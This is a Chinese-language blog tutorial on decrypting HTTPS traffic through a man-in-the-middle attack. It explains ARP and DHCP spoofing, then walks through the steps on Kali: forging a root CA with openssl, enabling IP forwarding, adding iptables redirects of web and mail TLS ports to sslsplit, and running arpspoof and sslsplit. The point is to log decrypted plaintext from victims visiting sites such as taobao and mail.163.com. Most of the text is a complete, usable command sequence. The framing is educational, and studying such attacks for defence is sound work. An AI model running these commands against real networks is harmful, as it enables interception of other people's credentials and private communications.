中間人攻擊SSL加密流量

中間人劫持https加密流量,對其進行解密查看明文內容。

 

原理:終端發送流量經過路由轉發,流量被中間人劫持,直到中間人放回給服務器(中間人需具備與服務器端看起來差不多的條件)

攻擊者位於客戶端和服務器通信鏈路中進行的攻擊方式:

1、ARP欺騙:(把中間人的mac地址當作網關,從而讓流量流經中間人(僞造證書、解密加密信息等操作))——>欺騙終端設備,讓網關誤認爲是中間人,從而得到流量。

2、DHCP:(動態主機配置協議,自動分配ip地址)
#舉例:假使客戶端與攻擊者在同一網段下,攻擊者本地安裝DHCP服務,一旦離客戶端近,那麼先響應攻擊者的DHCP服務(從而分配網關、IP、DNS等),先響應向接納。
3、修改網關

4、修改DNS

5、修改HOSTS

#3、4、5方式不容易進行操作,當真正控制客戶端主機,方纔容易進行。

#類似:ICMP、STP、OSPF協議(主要是通過攻擊協議,讓終端流量都經過攻擊者電腦)

#加密流量:將劫持的流量解密查看信息,再加密發給目標

 

攻擊者發起攻擊的前提:
1、客戶端已經信任僞造證書頒發機構(服務器端的僞造根證書)
2、攻擊者控制了核發證書頒發機構
3、客戶端程序禁止了顯示證書錯誤告警信息(客戶端已完成)

##只要不出現給客戶端知曉的報錯信息,那麼客戶端很難發現被中間人了。除非清楚服務器的證書是什麼比對與服務器的公私鑰交換情況


4、攻擊者已經控制客戶端,並強制其信  任僞造證書

 

下面舉例說明攻擊流程,以例子說明中間人攻擊原理:

#利用工具:Kali(sslsplit)、主機;Kali作爲中間人攻擊者,主機作爲客戶端。

說明:SSLsplit
1、透明SSL/TLS中間人攻擊工具
2、對客戶端僞裝成服務器,對服務器僞裝成普通客戶端
3、僞裝服務器需要僞造證書
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中間人攻擊

 

下面進行具體操作:

利用openssl生成證書私鑰:

openssl genrsa -out ca.key 2048 

利用私鑰簽名生成根證書

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

#對於真正使用中間人攻擊,配置方面儘量真實

這裏的ca.crt與ca.key分別爲:私鑰簽名生成根證書、證書私鑰

下面是具體內容以及設置證書時自己配置的相關的配置信息:

#在根證書裏面,存在的只是證書的公鑰,到中間人端的私鑰是我們自己生成的,也就是ca.key。

 

下面在kali上啓動路由,並配置好相關的轉發規則,轉發規則只列舉一些:

啓動路由:

sysctl -w net.ipv4.ip_forward=1 

配置iprables端口轉發規則:

iptables -t nat -F(清空當前配置)
iptables -t nat -L(查看當前配置)

#先查看本地的443端口和80端口是否有開,有開結束掉,不讓被佔用。從而iptables會將流量引入到sslsplit端口,從而實現流量的解密。(本地又開的話,就會直接訪問本機web站點)

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
#對將80端口收到的流量發送給8080端口,8080設置爲sslsplit從而解密到來的流量得到明文信息。

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
#對將443端口收到的流量發送給8443端口,8443設置爲sslsplit從而解密到來的流量得到信息。

再多舉一些:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS


iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS


iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

#當所有配置完成後,再來查看當前配置是否成功:

iptables -t nat -L

即如:

 

當所有都配置完成後,下面將再Kali上進行ARP的欺騙配置:

首先需要將Kali網卡配好,將客戶端真實網關的mac地址配置爲中間人(Kali)的網卡的mac地址:

arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1 
(-t接目標IP,-r接目標網關)

然後需要創建保存客戶端流量的日誌文件的目錄,這裏以:test/logdir作爲例子,然後再開啓偵聽,讀取客戶端訪問通過SSL加密的網站流量信息。

啓動SSLsplot:

mkdir -p test/logdir

#配置的時候遇到問題,是tool的錯,所以建議自己手動新建。

偵聽:

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 
(啓動8080與8443的偵聽)

#請求內容放在logdir內

#網關的真實mac是上面的,當開啓欺騙後,將會把網關mac變爲中間人的網卡mac地址。

啓動偵聽:

 

 

#當被害者訪問taobao、百度、mail.163.com(有些http做了登陸過程用SSL加密但非全站https也會有證書錯誤告警),即經過SSL加密後的流量都會被記錄下來,保存在logdir中,查看就能看到被解密出來的明文信息:

 

隨便打開一個,可能沒有信息,也不是經SSL加密的流量:

 

 

值得注意的是:

很多時候,中間人僞造的證書並不是特別精密的話,一般都會在瀏覽器上出現報錯信息,查看日誌和瀏覽器證書及證書報錯信息,但當安裝中間人生成的根證書之後再次訪問,便不會報錯。

 

#當中間人劫持到加密流量後,本應全部解密爲明文信息,可是有些登陸賬號中密碼仍爲密文,主要是:在登陸輸入密碼那裏會有一個控件,先對密碼做了加密機制,在經過流量轉發,所以儘管看到流量內內容,但密碼仍是加密狀態。

 

以上便是呈現中間人攻擊原理的最好解釋流程。

 

發佈了36 篇原創文章 · 獲贊 19 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章